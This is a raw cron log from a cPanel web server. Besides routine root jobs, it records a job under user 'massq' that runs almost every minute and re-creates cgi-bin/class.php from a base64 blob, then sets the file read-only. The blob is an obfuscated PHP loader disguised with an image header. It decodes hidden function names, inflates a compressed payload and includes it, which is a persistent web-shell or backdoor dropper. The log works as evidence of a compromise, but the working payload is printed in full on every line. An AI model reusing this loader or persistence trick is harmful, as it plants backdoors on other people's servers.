Nov 14 19:32:01 server CROND[959]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:33:01 server CROND[1831]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:34:01 server CROND[2713]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:35:01 server CROND[3593]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 19:35:01 server CROND[3596]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 19:35:01 server CROND[3598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 19:35:01 server CROND[3599]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 19:35:01 server CROND[3600]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:36:01 server CROND[4504]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:37:01 server CROND[5385]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:38:01 server CROND[6353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:39:01 server CROND[6854]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 19:39:01 server CROND[6855]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:40:01 server CROND[7786]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 19:40:01 server CROND[7787]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 19:40:01 server CROND[7789]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:40:01 server CROND[7788]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 19:41:01 server CROND[8811]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:42:01 server CROND[9318]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:42:01 server CROND[9319]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 19:43:01 server CROND[10298]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:44:01 server CROND[11270]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:45:01 server CROND[12146]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
